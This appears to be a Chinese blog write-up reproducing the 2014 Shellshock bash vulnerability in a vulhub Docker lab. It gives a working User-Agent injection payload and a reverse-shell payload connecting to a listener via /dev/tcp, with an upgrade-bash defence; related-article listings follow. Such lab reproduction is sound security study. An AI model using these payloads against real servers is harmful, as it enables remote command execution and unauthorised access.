破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务,如一些网络服务器部署,使用bash来处理某些请求,允许攻击者导致脆弱的bash版本执行任意命令。这可以让攻击者获得对计算机系统的未授权访问。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行

#漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

#漏洞范围:bash版本小于等于4.3

用docker搭建vulhub漏洞靶场,服务启动后,有两个页面http://192.168.217.134:8080/victim.cgi和http://192.168.217.134:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。

能正常访问,但是当我们访问safe.cgi和victim.cgi时,却发现报了500错误

这是什么情况呢?进入docker容器查看一下日志

查看error.log

可以看到错误原因都是permission denied,那就是权限不足的原因了,那我们就修改一下权限,让它能够被访问。

修改为755权限就可以了

成功正常访问,打开bp进行抓包

同时抓取两个数据包payload

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

将payload附在User-Agent中,并发送请求

可以看到成功执行了命令,以同样的数据在safe.cgi发送请求,发现其不受影响

既然在victim.cgi可以执行命令,那么应该就可以进行反弹shell了,kali开启端口监听,执行反弹shell命令

 () { :;}; echo;/bin/bash -i >& /dev/tcp/192.168.217.139/4444 0>&1

成功反弹shell

#防御:将bash版本升级到最新版本

CVE-2014-6271-bash shellshock-破壳漏洞复现相关推荐

  1. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  2. Shellshock 破壳漏洞(CVE-2014-6271)

    漏洞简介 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义.远程攻击者可借助特制的环境变量利用该漏洞执行任意代码. 漏洞复现 将payload附在Us ...

  3. vulhub漏洞复现之bash(Shellshock CVE-2014-6271)

    Shellshock 破壳漏洞 CVE-2014-6271 1.漏洞概述: GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此 ...

  4. Shellshock漏洞复现

    Shellshock漏洞复现 bash说明 漏洞原理 漏洞复现 环境说明 漏洞条件 漏洞复现 bash说明 Bash是Unix shell的一种.1989年发布第一个正式版本,原先是计划用在GNU操作 ...

  5. Linux Bash漏洞复现

    Bash是什么? Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系 ...

  6. bash(CVE-2014-6271) shellshock-破壳漏洞复现

    漏洞简介 破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...

  7. vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

    漏洞简介 破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...

  8. 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程

    其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...

  9. 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞​​

    问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...

  10. 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...

最新文章

  1. sonar的次要问题_次要GC,主要GC与完整GC
  2. 图解Windows下开发Objective-C程序之一 - 搭建Objective-C开发环境
  3. ping tracert 联系区别
  4. HDU-4456 Crowd 二维树状数组+坐标转换
  5. leetcode - Single Number
  6. c语言solaris中图形库,成功弄出simics下的CDE登录界面,与大家分享
  7. javascript经典实例_一道前端经常忽视的JavaScript面试题
  8. 继承AppCompatActivity的Activity无法隐藏标题栏
  9. 链表在STM32中的应用
  10. 怎么把文件导入云服务器,怎么把文件放到云服务器里
  11. 01 | 研发工程师想提升面试竞争力,该具备这三个技术认知
  12. ROS学习笔记十一:ROS中数据的记录与重放
  13. 拼音模糊搜索 php,基于 XunSearch(迅搜)SDK 的全文搜索 Laravel 5.* 软件包,支持全拼、拼音简写、模糊搜索、热门搜索、搜索提示...
  14. 朴素贝叶斯解决凉鞋问题
  15. Android系统开机时间优化
  16. html未响应是什么原因,ie浏览器未响应如何解决
  17. 网络学习:路由器 如何实现不同网络互连(ip协议) 和 和内网访问外网( nat转化协议)
  18. 折半查找平均长度公式推导
  19. 计算机硬盘加密的原理,一种计算机硬盘加密方法及装置
  20. SpringBoot服务监控之Actuate

热门文章

  1. Spring Data JPA-动态查询
  2. Sdwan关于工业控制组网
  3. JSP简明教程:汇总
  4. java byte short_Java Byte shortValue()方法
  5. 来11:1 信就是所望之事的实底,是未见之事的确据。
  6. 安卓玩机搞机技巧综合资源--安装谷歌相机 小米查询信息 锁频段 提高网速【七】
  7. 什么是上下文切换?如何减少上下文切换?
  8. 电脑锁屏重新开启后无网络网络适配器属性没有电源管理选项
  9. Python-100-Days学习笔记day09
  10. 关闭X-Powered-By 信息(隐藏PHP版本信息)